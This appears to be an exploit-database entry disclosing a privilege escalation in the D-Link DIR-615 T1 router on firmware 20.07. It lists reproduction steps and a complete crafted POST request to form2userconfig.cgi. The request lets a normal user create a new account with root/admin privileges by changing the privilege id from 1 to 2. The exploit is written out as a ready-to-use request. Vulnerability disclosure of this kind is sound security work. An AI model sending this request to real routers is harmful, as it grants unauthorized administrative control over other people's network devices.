D-Link DIR-615 Privilege Escalation

`# Exploit Title: D-Link DIR-615 - Privilege Escalation  
# Date: 2019-12-10  
# Exploit Author: Sanyam Chawla  
# Vendor Homepage: http://www.dlink.co.in  
# Category: Hardware (Wi-fi Router)  
# Hardware Link: http://www.dlink.co.in/products/?pid=678  
# Hardware Version: T1  
# Firmware Version: 20.07  
# Tested on: Windows 10 and Kali linux  
# CVE: N/A  
  
# Reproduction Steps:  
# Login to your wi-fi router gateway with normal user credentials [i.e: http://192.168.0.1]  
# Go to the Maintenance page and click on Admin on the left panel.  
# There is an option to create a user and by default, it shows only user accounts.  
# Create an account with a name(i.e ptguy) and change the privileges from user to root(admin)   
# by changing privileges id (1 to 2) with burp suite.  
  
# Privilege Escalation Post Request   
  
POST /form2userconfig.cgi HTTP/1.1  
Host: 192.168.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 122  
Origin: http://192.168.0.1  
Connection: close  
Referer: http://192.168.0.1/userconfig.htm  
Cookie: SessionID=  
Upgrade-Insecure-Requests: 1  
  
username=ptguy&privilege=2&newpass=pentesting&confpass=pentesting&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send  
  
# Now log in with newly created root (ptguy) user. You have all administrator rights.  
`